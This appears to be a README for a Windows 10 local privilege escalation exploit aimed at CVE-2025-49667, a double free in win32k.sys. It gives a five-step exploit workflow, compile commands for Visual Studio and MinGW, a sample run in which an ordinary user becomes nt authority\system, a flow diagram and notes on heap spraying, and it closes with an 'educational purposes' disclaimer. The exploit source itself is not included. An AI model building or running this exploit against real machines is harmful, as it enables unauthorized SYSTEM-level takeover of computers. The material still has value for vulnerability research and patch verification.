β Tested: Windows 10
β Not Working: Windows 11
- Vulnerability Details
- Affected Systems
- Exploit Workflow
- Compilation Instructions
- Exploit Output Example
- Exploit Flow Diagram
- Notes
- Disclaimer
- CVE ID: CVE-2025-49667 | MITRE
- Type: Double Free (CWE-415)
- Component: Windows Win32 Kernel Subsystem (win32k.sys)
- Impact: Local Privilege Escalation (LPE β SYSTEM)
- CVSS Score: 7.8 (High)
- Attack Vector: Local, low-complexity exploit
- β Windows 10 (1909 β 22H2)
- β Windows 11 (patched by default)
- β Windows Server (partially mitigated)
- Trigger vulnerable syscall in
win32k.sys
. - Force a double free on kernel memory object.
- Reallocate freed memory with controlled data.
- Overwrite kernel function pointer.
- Escalate to NT AUTHORITY\SYSTEM.
- with Visual Studio Command Prompt:
cl.exe /EHsc /O2 /std:c++17 /DWIN32 /D_WINDOWS /DNDEBUG exploit.cpp /link ntdll.lib winhttp.lib psapi.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MACHINE:X64 /SUBSYSTEM:CONSOLE
- with MinGW-w64:
g++ -O2 -std=c++17 -m64 -DWIN32 -D_WINDOWS -DNDEBUG -o exploit.exe exploit.cpp -lntdll -lwinhttp -lpsapi -lkernel32 -luser32 -lgdi32 -lwinspool -lcomdlg32 -ladvapi32 -lshell32 -lole32 -loleaut32 -luuid -lodbc32 -lodbccp32
- Run with:
exploit.exe
C:\Users\yuri08> whoami
yuri08
C:\Users\yuri08> exploit.exe
[*] Triggering double free...
[*] Overwriting function pointer...
[*] Gaining SYSTEM privileges...
[+] Exploit successful!
C:\Windows\system32> whoami
nt authority\system
+-----------------------+
| Userland Process |
+----------+------------+
|
v
+-----------------------+
| Call vulnerable API |
| (win32k.sys) |
+----------+------------+
|
Double Free Trigger
|
v
+-----------------------+
| Kernel Object Freed |
+----------+------------+
|
Fake Object Spray
|
v
+-----------------------+
| Overwrite Func Ptr |
+----------+------------+
|
SYSTEM Privileges
|
v
+-----------------------+
| NT AUTHORITY\SYSTEM |
+-----------------------+
-
Requires local access (no remote vector).
-
Works reliably on Windows 10 pre-patch.
-
May cause BSOD if heap spray fails.
-
Debug with WinDbg: !analyze -v
- This exploit code and documentation are provided strictly for educational and research purposes only.
- Do not use on systems without explicit authorization.
- You are fully responsible for your actions.
πΆ Stay safe, hack the planet responsibly.